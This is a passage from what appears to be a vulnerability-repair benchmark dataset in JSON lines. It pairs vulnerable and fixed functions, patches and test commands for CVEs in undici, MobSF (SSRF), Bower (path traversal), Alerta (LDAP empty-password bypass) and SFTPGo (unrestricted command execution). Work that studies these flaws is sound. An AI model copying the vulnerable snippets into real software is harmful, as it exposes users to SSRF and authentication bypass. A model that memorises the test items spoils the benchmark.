util.headerNameToString(header).startsWith('content-')) {\n    return true\n  }\n  if (unknownOrigin && (header.length === 13 || header.length === 6 || header.length === 19)) {\n    const name = util.headerNameToString(header)\n    return name === 'authorization' || name === 'cookie' || name === 'proxy-authorization'\n  }\n  return false\n}"}], "vul_patch": "--- a/lib/handler/redirect-handler.js\n+++ b/lib/handler/redirect-handler.js\n@@ -5,9 +5,9 @@\n   if (removeContent && util.headerNameToString(header).startsWith('content-')) {\n     return true\n   }\n-  if (unknownOrigin && (header.length === 13 || header.length === 6)) {\n+  if (unknownOrigin && (header.length === 13 || header.length === 6 || header.length === 19)) {\n     const name = util.headerNameToString(header)\n-    return name === 'authorization' || name === 'cookie'\n+    return name === 'authorization' || name === 'cookie' || name === 'proxy-authorization'\n   }\n   return false\n }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-30260:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/undici\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnode --test --test-timeout=5000 test/redirect-cross-origin-header.js\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-30260:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/undici\ngit apply --whitespace=nowarn /workspace/fix.patch\nnode --test --test-timeout=5000 test/redirect*.js\n"}
{"cve_id": "CVE-2024-31215", "cve_description": "Mobile Security Framework (MobSF) is a security research platform for mobile applications in Android, iOS and Windows Mobile.\nA SSRF vulnerability in firebase database check logic. The attacker can cause the server to make a connection to internal-only services within the organization\u2019s infrastructure. When a malicious app is uploaded to Static analyzer, it is possible to make internal requests. This vulnerability has been patched in version 3.9.8.\n", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/MobSF/Mobile-Security-Framework-MobSF", "patch_url": ["https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/43bb71d115d78c03faa82d75445dd908e9b32716"], "programing_language": "Python", "vul_func": [{"id": "vul_py_239_1", "commit": "6bce5a2", "file_path": "mobsf/StaticAnalyzer/views/common/shared_func.py", "start_line": 255, "end_line": 274, "snippet": "def open_firebase(url):\n    # Detect Open Firebase Database\n    try:\n        if not valid_host(url):\n            logger.warning('Invalid Firebase URL')\n            return url, False\n        purl = urlparse(url)\n        base_url = '{}://{}/.json'.format(purl.scheme, purl.netloc)\n        proxies, verify = upstream_proxy('https')\n        headers = {\n            'User-Agent': ('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1)'\n                           ' AppleWebKit/537.36 (KHTML, like Gecko) '\n                           'Chrome/39.0.2171.95 Safari/537.36')}\n        resp = requests.get(base_url, headers=headers,\n                            proxies=proxies, verify=verify)\n        if resp.status_code == 200:\n            return base_url, True\n    except Exception:\n        logger.warning('Open Firebase DB detection failed.')\n    return url, False"}, {"id": "vul_py_239_2", "commit": "6bce5a2", "file_path": "mobsf/StaticAnalyzer/views/common/shared_func.py", "start_line": 277, "end_line": 287, "snippet": "def firebase_analysis(urls):\n    # Detect Firebase URL\n    firebase_db = []\n    logger.info('Detecting Firebase URL(s)')\n    for url in urls:\n        if 'firebaseio.com' in url:\n            returl, is_open = open_firebase(url)\n            fbdic = {'url': returl, 'open': is_open}\n            if fbdic not in firebase_db:\n                firebase_db.append(fbdic)\n    return firebase_db"}], "fix_func": [{"id": "fix_py_239_1", "commit": "43bb71d", "file_path": "mobsf/StaticAnalyzer/views/common/shared_func.py", "start_line": 255, "end_line": 279, "snippet": "def open_firebase(url):\n    # Detect Open Firebase Database\n    try:\n        invalid = 'Invalid Firebase URL'\n        if not valid_host(url):\n            logger.warning(invalid)\n            return url, False\n        purl = urlparse(url)\n        if not purl.netloc.endswith('firebaseio.com'):\n            logger.warning(invalid)\n            return url, False\n        base_url = '{}://{}/.json'.format(purl.scheme, purl.netloc)\n        proxies, verify = upstream_proxy('https')\n        headers = {\n            'User-Agent': ('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1)'\n                           ' AppleWebKit/537.36 (KHTML, like Gecko) '\n                           'Chrome/39.0.2171.95 Safari/537.36')}\n        resp = requests.get(base_url, headers=headers,\n                            proxies=proxies, verify=verify,\n                            allow_redirects=False)\n        if resp.status_code == 200:\n            return base_url, True\n    except Exception:\n        logger.warning('Open Firebase DB detection failed.')\n    return url, False"}, {"id": "fix_py_239_2", "commit": "43bb71d", "file_path": "mobsf/StaticAnalyzer/views/common/shared_func.py", "start_line": 282, "end_line": 293, "snippet": "def firebase_analysis(urls):\n    # Detect Firebase URL\n    firebase_db = []\n    logger.info('Detecting Firebase URL(s)')\n    for url in urls:\n        if 'firebaseio.com' not in url:\n            continue\n        returl, is_open = open_firebase(url)\n        fbdic = {'url': returl, 'open': is_open}\n        if fbdic not in firebase_db:\n            firebase_db.append(fbdic)\n    return firebase_db"}], "vul_patch": "--- a/mobsf/StaticAnalyzer/views/common/shared_func.py\n+++ b/mobsf/StaticAnalyzer/views/common/shared_func.py\n@@ -1,10 +1,14 @@\n def open_firebase(url):\n     # Detect Open Firebase Database\n     try:\n+        invalid = 'Invalid Firebase URL'\n         if not valid_host(url):\n-            logger.warning('Invalid Firebase URL')\n+            logger.warning(invalid)\n             return url, False\n         purl = urlparse(url)\n+        if not purl.netloc.endswith('firebaseio.com'):\n+            logger.warning(invalid)\n+            return url, False\n         base_url = '{}://{}/.json'.format(purl.scheme, purl.netloc)\n         proxies, verify = upstream_proxy('https')\n         headers = {\n@@ -12,7 +16,8 @@\n                            ' AppleWebKit/537.36 (KHTML, like Gecko) '\n                            'Chrome/39.0.2171.95 Safari/537.36')}\n         resp = requests.get(base_url, headers=headers,\n-                            proxies=proxies, verify=verify)\n+                            proxies=proxies, verify=verify,\n+                            allow_redirects=False)\n         if resp.status_code == 200:\n             return base_url, True\n     except Exception:\n\n--- a/mobsf/StaticAnalyzer/views/common/shared_func.py\n+++ b/mobsf/StaticAnalyzer/views/common/shared_func.py\n@@ -3,9 +3,10 @@\n     firebase_db = []\n     logger.info('Detecting Firebase URL(s)')\n     for url in urls:\n-        if 'firebaseio.com' in url:\n-            returl, is_open = open_firebase(url)\n-            fbdic = {'url': returl, 'open': is_open}\n-            if fbdic not in firebase_db:\n-                firebase_db.append(fbdic)\n+        if 'firebaseio.com' not in url:\n+            continue\n+        returl, is_open = open_firebase(url)\n+        fbdic = {'url': returl, 'open': is_open}\n+        if fbdic not in firebase_db:\n+            firebase_db.append(fbdic)\n     return firebase_db\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-5484", "cve_description": "Bower before 1.8.8 has a path traversal vulnerability permitting file write in arbitrary locations via install command, which allows attackers to write arbitrary files when a malicious package is extracted.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/bower/bower", "patch_url": ["https://github.com/bower/bower/commit/45c6bfa86f6e57731b153baca9e0b41a1cc699e3"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_112_1", "commit": "4f68fc7", "file_path": "lib/util/extract.js", "start_line": 133, "end_line": 135, "snippet": "function isSymlink(entry) {\n    return entry.type === 'SymbolicLink';\n}"}], "fix_func": [{"id": "fix_js_112_1", "commit": "45c6bfa", "file_path": "lib/util/extract.js", "start_line": 133, "end_line": 135, "snippet": "function isSymlink(_, entry) {\n    return entry.type === 'symlink';\n}"}], "vul_patch": "--- a/lib/util/extract.js\n+++ b/lib/util/extract.js\n@@ -1,3 +1,3 @@\n-function isSymlink(entry) {\n-    return entry.type === 'SymbolicLink';\n+function isSymlink(_, entry) {\n+    return entry.type === 'symlink';\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-26214", "cve_description": "In Alerta before version 8.1.0, users may be able to bypass LDAP authentication if they provide an empty password when Alerta server is configure to use LDAP as the authorization provider. Only deployments where LDAP servers are configured to allow unauthenticated authentication mechanism for anonymous authorization are affected. A fix has been implemented in version 8.1.0 that returns HTTP 401 Unauthorized response for any authentication attempts where the password field is empty. As a workaround LDAP administrators can disallow unauthenticated bind requests by clients.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/alerta/alerta", "patch_url": ["https://github.com/alerta/alerta/commit/2bfa31779a4c9df2fa68fa4d0c5c909698c5ef65"], "programing_language": "Python", "vul_func": [{"id": "vul_py_237_1", "commit": "b3a9698", "file_path": "alerta/auth/basic_ldap.py", "start_line": 18, "end_line": 111, "snippet": "def login():\n    # Allow LDAP server to use a self signed certificate\n    if current_app.config['LDAP_ALLOW_SELF_SIGNED_CERT']:\n        ldap.set_option(ldap.OPT_X_TLS_REQUIRE_CERT, ldap.OPT_X_TLS_ALLOW)\n\n    # Retrieve required fields from client request\n    try:\n        login = request.json.get('username', None) or request.json['email']\n        password = request.json['password']\n    except KeyError:\n        raise ApiError(\"must supply 'username' and 'password'\", 401)\n\n    try:\n        if '\\\\' in login:\n            domain, username = login.split('\\\\')\n            email = ''\n            email_verified = False\n        else:\n            username, domain = login.split('@')\n            email = login\n            email_verified = True\n    except ValueError:\n        raise ApiError('expected username with domain', 401)\n\n    # Validate LDAP domain\n    if domain not in current_app.config['LDAP_DOMAINS']:\n        raise ApiError('unauthorized domain', 403)\n\n    userdn = current_app.config['LDAP_DOMAINS'][domain] % username\n\n    # Attempt LDAP AUTH\n    try:\n        trace_level = 2 if current_app.debug else 0\n        ldap_connection = ldap.initialize(current_app.config['LDAP_URL'], trace_level=trace_level)\n        ldap_connection.simple_bind_s(userdn, password)\n    except ldap.INVALID_CREDENTIALS:\n        raise ApiError('invalid username or password', 401)\n    except Exception as e:\n        raise ApiError(str(e), 500)\n\n    # Get email address from LDAP\n    if not email_verified:\n        try:\n            ldap_result = ldap_connection.search_s(userdn, ldap.SCOPE_SUBTREE, '(objectClass=*)', ['mail'])\n            email = ldap_result[0][1]['mail'][0].decode(sys.stdout.encoding)\n            email_verified = True\n        except Exception:\n            email = '{}@{}'.format(username, domain)\n\n    # Create user if not yet there\n    user = User.find_by_username(username=login)\n    if not user:\n        user = User(name=username, login=login, password='', email=email,\n                    roles=[], text='LDAP user', email_verified=email_verified)\n        try:\n            user = user.create()\n        except Exception as e:\n            ApiError(str(e), 500)\n\n    # Assign customers & update last login time\n    groups = list()\n    try:\n        groups_filters = current_app.config.get('LDAP_DOMAINS_GROUP', {})\n        base_dns = current_app.config.get('LDAP_DOMAINS_BASEDN', {})\n        if domain in groups_filters and domain in base_dns:\n            resultID = ldap_connection.search(\n                base_dns[domain],\n                ldap.SCOPE_SUBTREE,\n                groups_filters[domain].format(username=username, email=email, userdn=userdn),\n                ['cn']\n            )\n            resultTypes, results = ldap_connection.result(resultID)\n            for _dn, attributes in results:\n                groups.append(attributes['cn'][0].decode('utf-8'))\n    except ldap.LDAPError as e:\n        raise ApiError(str(e), 500)\n\n    # Check user is active\n    if user.status != 'active':\n        raise ApiError('User {} not active'.format(login), 403)\n    user.update_last_login()\n\n    scopes = Permission.lookup(login=login, roles=user.roles + groups)\n    customers = get_customers(login=login, groups=[user.domain] + groups)\n\n    auth_audit_trail.send(current_app._get_current_object(), event='basic-ldap-login', message='user login via LDAP',\n                          user=login, customers=customers, scopes=scopes, roles=user.roles, groups=groups,\n                          resource_id=user.id, type='user', request=request)\n\n    # Generate token\n    token = create_token(user_id=user.id, name=user.name, login=user.email, provider='ldap',\n                         customers=customers, scopes=scopes, roles=user.roles, groups=groups,\n                         email=user.email, email_verified=user.email_verified)\n    return jsonify(token=token.tokenize)"}], "fix_func": [{"id": "fix_py_237_1", "commit": "2bfa317", "file_path": "alerta/auth/basic_ldap.py", "start_line": 18, "end_line": 114, "snippet": "def login():\n    # Allow LDAP server to use a self signed certificate\n    if current_app.config['LDAP_ALLOW_SELF_SIGNED_CERT']:\n        ldap.set_option(ldap.OPT_X_TLS_REQUIRE_CERT, ldap.OPT_X_TLS_ALLOW)\n\n    # Retrieve required fields from client request\n    try:\n        login = request.json.get('username', None) or request.json['email']\n        password = request.json['password']\n    except KeyError:\n        raise ApiError(\"must supply 'username' and 'password'\", 401)\n\n    if not password:\n        raise ApiError('password not allowed to be empty', 401)\n\n    try:\n        if '\\\\' in login:\n            domain, username = login.split('\\\\')\n            email = ''\n            email_verified = False\n        else:\n            username, domain = login.split('@')\n            email = login\n            email_verified = True\n    except ValueError:\n        raise ApiError('expected username with domain', 401)\n\n    # Validate LDAP domain\n    if domain not in current_app.config['LDAP_DOMAINS']:\n        raise ApiError('unauthorized domain', 403)\n\n    userdn = current_app.config['LDAP_DOMAINS'][domain] % username\n\n    # Attempt LDAP AUTH\n    try:\n        trace_level = 2 if current_app.debug else 0\n        ldap_connection = ldap.initialize(current_app.config['LDAP_URL'], trace_level=trace_level)\n        ldap_connection.simple_bind_s(userdn, password)\n    except ldap.INVALID_CREDENTIALS:\n        raise ApiError('invalid username or password', 401)\n    except Exception as e:\n        raise ApiError(str(e), 500)\n\n    # Get email address from LDAP\n    if not email_verified:\n        try:\n            ldap_result = ldap_connection.search_s(userdn, ldap.SCOPE_SUBTREE, '(objectClass=*)', ['mail'])\n            email = ldap_result[0][1]['mail'][0].decode(sys.stdout.encoding)\n            email_verified = True\n        except Exception:\n            email = '{}@{}'.format(username, domain)\n\n    # Create user if not yet there\n    user = User.find_by_username(username=login)\n    if not user:\n        user = User(name=username, login=login, password='', email=email,\n                    roles=[], text='LDAP user', email_verified=email_verified)\n        try:\n            user = user.create()\n        except Exception as e:\n            ApiError(str(e), 500)\n\n    # Assign customers & update last login time\n    groups = list()\n    try:\n        groups_filters = current_app.config.get('LDAP_DOMAINS_GROUP', {})\n        base_dns = current_app.config.get('LDAP_DOMAINS_BASEDN', {})\n        if domain in groups_filters and domain in base_dns:\n            resultID = ldap_connection.search(\n                base_dns[domain],\n                ldap.SCOPE_SUBTREE,\n                groups_filters[domain].format(username=username, email=email, userdn=userdn),\n                ['cn']\n            )\n            resultTypes, results = ldap_connection.result(resultID)\n            for _dn, attributes in results:\n                groups.append(attributes['cn'][0].decode('utf-8'))\n    except ldap.LDAPError as e:\n        raise ApiError(str(e), 500)\n\n    # Check user is active\n    if user.status != 'active':\n        raise ApiError('User {} not active'.format(login), 403)\n    user.update_last_login()\n\n    scopes = Permission.lookup(login=login, roles=user.roles + groups)\n    customers = get_customers(login=login, groups=[user.domain] + groups)\n\n    auth_audit_trail.send(current_app._get_current_object(), event='basic-ldap-login', message='user login via LDAP',\n                          user=login, customers=customers, scopes=scopes, roles=user.roles, groups=groups,\n                          resource_id=user.id, type='user', request=request)\n\n    # Generate token\n    token = create_token(user_id=user.id, name=user.name, login=user.email, provider='ldap',\n                         customers=customers, scopes=scopes, roles=user.roles, groups=groups,\n                         email=user.email, email_verified=user.email_verified)\n    return jsonify(token=token.tokenize)"}], "vul_patch": "--- a/alerta/auth/basic_ldap.py\n+++ b/alerta/auth/basic_ldap.py\n@@ -9,6 +9,9 @@\n         password = request.json['password']\n     except KeyError:\n         raise ApiError(\"must supply 'username' and 'password'\", 401)\n+\n+    if not password:\n+        raise ApiError('password not allowed to be empty', 401)\n \n     try:\n         if '\\\\' in login:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-52309", "cve_description": "SFTPGo is a full-featured and highly configurable SFTP, HTTP/S, FTP/S and WebDAV server - S3, Google Cloud Storage, Azure Blob. One powerful feature of SFTPGo is the ability to have the EventManager execute scripts or run applications in response to certain events. This feature is very common in all software similar to SFTPGo and is generally unrestricted. However, any SFTPGo administrator with permission to run a script has access to the underlying OS/container with the same permissions as the user running SFTPGo. This is unexpected for some SFTPGo administrators who think that there is a clear distinction between accessing the system shell and accessing the SFTPGo WebAdmin UI. To avoid this confusion, running system commands is disabled by default in 2.6.3, and an allow list has been added so that system administrators configuring SFTPGo must explicitly define which commands are allowed to be configured from the WebAdmin UI.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/drakkan/sftpgo", "patch_url": ["https://github.com/drakkan/sftpgo/commit/88b1850b5806eee81150873d4e565144b21021fb"], "programing_language": "Go", "vul_func": [{"id": "vul_go_78_1", "commit": "60558de72847f4af473028f11340c0a96f162da2", "file_path": "internal/common/common.go", "start_line": 179, "end_line": 252, "snippet": "func Initialize(c Configuration, isShared int) error {\n\tisShuttingDown.Store(false)\n\tutil.SetUmask(c.Umask)\n\tversion.SetConfig(c.ServerVersion)\n\tdataprovider.SetTZ(c.TZ)\n\tConfig = c\n\tConfig.Actions.ExecuteOn = util.RemoveDuplicates(Config.Actions.ExecuteOn, true)\n\tConfig.Actions.ExecuteSync = util.RemoveDuplicates(Config.Actions.ExecuteSync, true)\n\tConfig.ProxyAllowed = util.RemoveDuplicates(Config.ProxyAllowed, true)\n\tConfig.idleLoginTimeout = 2 * time.Minute\n\tConfig.idleTimeoutAsDuration = time.Duration(Config.IdleTimeout) * time.Minute\n\tstartPeriodicChecks(periodicTimeoutCheckInterval, isShared)\n\tConfig.defender = nil\n\tConfig.allowList = nil\n\tConfig.rateLimitersList = nil\n\trateLimiters = make(map[string][]*rateLimiter)\n\tfor _, rlCfg := range c.RateLimitersConfig {\n\t\tif rlCfg.isEnabled() {\n\t\t\tif err := rlCfg.validate(); err != nil {\n\t\t\t\treturn fmt.Errorf(\"rate limiters initialization error: %w\", err)\n\t\t\t}\n\t\t\trateLimiter := rlCfg.getLimiter()\n\t\t\tfor _, protocol := range rlCfg.Protocols {\n\t\t\t\trateLimiters[protocol] = append(rateLimiters[protocol], rateLimiter)\n\t\t\t}\n\t\t}\n\t}\n\tif len(rateLimiters) > 0 {\n\t\trateLimitersList, err := dataprovider.NewIPList(dataprovider.IPListTypeRateLimiterSafeList)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unable to initialize ratelimiters list: %w\", err)\n\t\t}\n\t\tConfig.rateLimitersList = rateLimitersList\n\t}\n\tif c.DefenderConfig.Enabled {\n\t\tif !slices.Contains(supportedDefenderDrivers, c.DefenderConfig.Driver) {\n\t\t\treturn fmt.Errorf(\"unsupported defender driver %q\", c.DefenderConfig.Driver)\n\t\t}\n\t\tvar defender Defender\n\t\tvar err error\n\t\tswitch c.DefenderConfig.Driver {\n\t\tcase DefenderDriverProvider:\n\t\t\tdefender, err = newDBDefender(&c.DefenderConfig)\n\t\tdefault:\n\t\t\tdefender, err = newInMemoryDefender(&c.DefenderConfig)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"defender initialization error: %v\", err)\n\t\t}\n\t\tlogger.Info(logSender, \"\", \"defender initialized with config %+v\", c.DefenderConfig)\n\t\tConfig.defender = defender\n\t}\n\tif c.AllowListStatus > 0 {\n\t\tallowList, err := dataprovider.NewIPList(dataprovider.IPListTypeAllowList)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unable to initialize the allow list: %w\", err)\n\t\t}\n\t\tlogger.Info(logSender, \"\", \"allow list initialized\")\n\t\tConfig.allowList = allowList\n\t}\n\tif err := c.initializeProxyProtocol(); err != nil {\n\t\treturn err\n\t}\n\tvfs.SetTempPath(c.TempPath)\n\tdataprovider.SetTempPath(c.TempPath)\n\tvfs.SetAllowSelfConnections(c.AllowSelfConnections)\n\tvfs.SetRenameMode(c.RenameMode)\n\tvfs.SetReadMetadataMode(c.Metadata.Read)\n\tvfs.SetResumeMaxSize(c.ResumeMaxSize)\n\tvfs.SetUploadMode(c.UploadMode)\n\tdataprovider.SetAllowSelfConnections(c.AllowSelfConnections)\n\ttransfersChecker = getTransfersChecker(isShared)\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_78_1", "commit": "88b1850b5806eee81150873d4e565144b21021fb", "file_path": "internal/common/common.go", "start_line": 179, "end_line": 256, "snippet": "func Initialize(c Configuration, isShared int) error {\n\tisShuttingDown.Store(false)\n\tutil.SetUmask(c.Umask)\n\tversion.SetConfig(c.ServerVersion)\n\tdataprovider.SetTZ(c.TZ)\n\tConfig = c\n\tConfig.Actions.ExecuteOn = util.RemoveDuplicates(Config.Actions.ExecuteOn, true)\n\tConfig.Actions.ExecuteSync = util.RemoveDuplicates(Config.Actions.ExecuteSync, true)\n\tConfig.ProxyAllowed = util.RemoveDuplicates(Config.ProxyAllowed, true)\n\tConfig.idleLoginTimeout = 2 * time.Minute\n\tConfig.idleTimeoutAsDuration = time.Duration(Config.IdleTimeout) * time.Minute\n\tstartPeriodicChecks(periodicTimeoutCheckInterval, isShared)\n\tConfig.defender = nil\n\tConfig.allowList = nil\n\tConfig.rateLimitersList = nil\n\trateLimiters = make(map[string][]*rateLimiter)\n\tfor _, rlCfg := range c.RateLimitersConfig {\n\t\tif rlCfg.isEnabled() {\n\t\t\tif err := rlCfg.validate(); err != nil {\n\t\t\t\treturn fmt.Errorf(\"rate limiters initialization error: %w\", err)\n\t\t\t}\n\t\t\trateLimiter := rlCfg.getLimiter()\n\t\t\tfor _, protocol := range rlCfg.Protocols {\n\t\t\t\trateLimiters[protocol] = append(rateLimiters[protocol], rateLimiter)\n\t\t\t}\n\t\t}\n\t}\n\tif len(rateLimiters) > 0 {\n\t\trateLimitersList, err := dataprovider.NewIPList(dataprovider.IPListTypeRateLimiterSafeList)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unable to initialize ratelimiters list: %w\", err)\n\t\t}\n\t\tConfig.rateLimitersList = rateLimitersList\n\t}\n\tif c.DefenderConfig.Enabled {\n\t\tif !slices.Contains(supportedDefenderDrivers, c.DefenderConfig.Driver) {\n\t\t\treturn fmt.Errorf(\"unsupported defender driver %q\", c.DefenderConfig.Driver)\n\t\t}\n\t\tvar defender Defender\n\t\tvar err error\n\t\tswitch c.DefenderConfig.Driver {\n\t\tcase DefenderDriverProvider:\n\t\t\tdefender, err = newDBDefender(&c.DefenderConfig)\n\t\tdefault:\n\t\t\tdefender, err = newInMemoryDefender(&c.DefenderConfig)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"defender initialization error: %v\", err)\n\t\t}\n\t\tlogger.Info(logSender, \"\", \"defender initialized with config %+v\", c.DefenderConfig)\n\t\tConfig.defender = defender\n\t}\n\tif c.AllowListStatus > 0 {\n\t\tallowList, err := dataprovider.NewIPList(dataprovider.IPListTypeAllowList)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unable to initialize the allow list: %w\", err)\n\t\t}\n\t\tlogger.Info(logSender, \"\", \"allow list initialized\")\n\t\tConfig.allowList = allowList\n\t}\n\tif err := c.initializeProxyProtocol(); err != nil {\n\t\treturn err\n\t}\n\tif err := c.EventManager.validate(); err != nil {\n\t\treturn err\n\t}\n\tvfs.SetTempPath(c.TempPath)\n\tdataprovider.SetTempPath(c.TempPath)\n\tvfs.SetAllowSelfConnections(c.AllowSelfConnections)\n\tvfs.SetRenameMode(c.RenameMode)\n\tvfs.SetReadMetadataMode(c.Metadata.Read)\n\tvfs.SetResumeMaxSize(c.ResumeMaxSize)\n\tvfs.SetUploadMode(c.UploadMode)\n\tdataprovider.SetAllowSelfConnections(c.AllowSelfConnections)\n\tdataprovider.EnabledActionCommands = c.EventManager.EnabledCommands\n\ttransfersChecker = getTransfersChecker(isShared)\n\treturn nil\n}"}, {"id": "fix_go_78_2", "commit": "88b1850b5806eee81150873d4e565144b21021fb", "file_path": "internal/common/common.go", "start_line": 520, "end_line": 525, "snippet": "type EventManagerConfig struct {\n\t// EnabledCommands defines the system commands that can be executed via EventManager,\n\t// an empty list means that any command is allowed to be executed.\n\t// Commands must be set as an absolute path\n\tEnabledCommands []string `json:\"enabled_commands\" mapstructure:\"enabled_commands\"`\n}"}, {"id": "fix_go_78_3", "commit": "88b1850b5806eee81150873d4e565144b21021fb", "file_path": "internal/common/common.go", "start_line": 527, "end_line": 534, "snippet": "func (c *EventManagerConfig) validate() error {\n\tfor _, c := range c.EnabledCommands {\n\t\tif !filepath.IsAbs(c) {\n\t\t\treturn fmt.Errorf(\"invalid command %q: it must be an absolute path\", c)\n\t\t}\n\t}\n\treturn nil\n}"}], "vul_patch": "--- a/internal/common/common.go\n+++ b/internal/common/common.go\n@@ -61,6 +61,9 @@\n \tif err := c.initializeProxyProtocol(); err != nil {\n \t\treturn err\n \t}\n+\tif err := c.EventManager.validate(); err != nil {\n+\t\treturn err\n+\t}\n \tvfs.SetTempPath(c.TempPath)\n \tdataprovider.SetTempPath(c.TempPath)\n \tvfs.SetAllowSelfConnections(c.AllowSelfConnections)\n@@ -69,6 +72,7 @@\n \tvfs.SetResumeMaxSize(c.ResumeMaxSize)\n \tvfs.SetUploadMode(c.UploadMode)\n \tdataprovider.SetAllowSelfConnections(c.AllowSelfConnections)\n+\tdataprovider.EnabledActionCommands = c.EventManager.EnabledCommands\n \ttransfersChecker = getTransfersChecker(isShared)\n \treturn nil\n }\n\n--- /dev/null\n+++ b/internal/common/common.go\n@@ -0,0 +1,6 @@\n+type EventManagerConfig struct {\n+\t// EnabledCommands defines the system commands that can be executed via EventManager,\n+\t// an empty list means that any command is allowed to be executed.\n+\t// Commands must be set as an absolute path\n+\tEnabledCommands []string `json:\"enabled_commands\" mapstructure:\"enabled_commands\"`\n+}\n\n--- /dev/null\n+++ b/internal/common/common.go\n@@ -0,0 +1,8 @@\n+func (c *EventManagerConfig) validate() error {\n+\tfor _, c := range c.EnabledCommands {\n+\t\tif !filepath.IsAbs(c) {\n+\t\t\treturn fmt.Errorf(\"invalid command %q: it must be an absolute path\", c)\n+\t\t}\n+\t}\n+\treturn nil\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-52309:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/sftpgo\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test -timeout 30s -run ^TestEventManagerCommandsInitialization$ github.com/drakkan/sftpgo/v2/internal/common\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-52309:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/sftpgo\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 120s -v -run '^(TestEventRuleEmailField|TestMaxConnections|TestEventRulePreDownloadUpload|TestHiddenRoot|TestNonLocalCrossRename|TestMaxSessionsSameConnection|TestMultiStepBuiltinKeyboardAuth|TestResolvePathError|TestBackupAsAttachment|TestRemoveAll|TestLoginAccessTime|TestEventRule|TestEventActionCommandEnvVars|TestHiddenPatternFilter|TestProxyProtocolVersion|TestStartupHook|TestQuotaRenameInsideSameVirtualFolder|TestServerVersion|TestEventRuleProviderEvents|TestCheckParentDirs|TestSetStat|TestRootDirVirtualFolder|TestCopyAndRemoveSSHCommands|TestConnectionStatus|TestEventActionCompressQuotaFolder|TestRelativeSymlinks|TestParseAllowedIPAndRanges|TestInitializationClosedProvider|TestRateLimitersIntegration|TestSSHConnections|TestSplittedRenamePerms|TestQuotaRenameFromVirtualFolder|TestQuotaScans|TestProxyProtocol|TestEventActionCompressErrors|TestIPList|TestSetProtocol|TestUploadEventRule|TestEventRuleFirstUploadDownloadActions|TestQuotaRenameBetweenVirtualFolder|TestFsActionCopy|TestProxyPolicy|TestEventRuleRenameEvent|TestMaxConnectionPerHost|TestVirtualFoldersLink|TestConnections|TestCheckFsAfterUpdate|TestCrossFoldersCopy|TestAllowList|TestCachedFs|TestGetQuotaError|TestGetFsError|TestPerUserTransferLimits|TestEventActionCompress|TestQuotaRenameOverwrite|TestTransferQuotaLimits|TestVirtualFoldersQuotaValues|TestQuotaTrackDisabled|TestEventFsActionsGroupFilters|TestEventRulePreDelete|TestAtomicUpload|TestRenameSymlink|TestChtimesOpenHandle|TestSyncUploadAction|TestEventActionsRetentionReports|TestEventActionHTTPMultipart|TestHideConfidentialData|TestPostDisconnectHook|TestCopyAndRemovePermissions|TestPermissionErrors|TestBuiltinKeyboardInteractiveAuthentication|TestEventRuleRotateLog|TestEventRuleIPBlocked|TestRenameDir|TestVirtualFoldersQuotaRenameOverwrite|TestNonLocalCrossRenameNonLocalBaseUser|TestFolderCopy|TestUpdateTransferTimestamps|TestCryptFsStat|TestEventRuleCertificate|TestConnectionRoles|TestPostConnectHook|TestWaitForConnections|TestCrossFolderRename|TestDbDefenderErrors|TestEventRuleInactivityCheck|TestSplittedDeletePerms|TestIdleConnections|TestUserPerms|TestQuotaScansRole|TestSFTPLoopError|TestUserRecentActivity|TestInitializationProxyErrors|TestPasswordCaching|TestCloseConnection|TestEventActionCompressQuotaErrors|TestCryptoConvertFileInfo|TestEventActionEmailAttachments|TestVfsSameResource|TestDelayedQuotaUpdater|TestEventRulePasswordExpiration|TestTruncateQuotaLimits|TestUserPasswordHashing|TestUserMaxSessions|TestQuotaRenameToVirtualFolder|TestALPNProtocols|TestSQLPlaceholderLimits|TestCryptFsUserUploadErrorOverwrite|TestFileNotAllowedErrors|TestHTTPFs|TestEventRuleStatues|TestCleanPath|TestDirs|TestEventRuleIDPLogin|TestEventRuleFsActions|TestGetTLSVersion|TestSwapConnection)$' github.com/drakkan/sftpgo/v2/internal/common"}
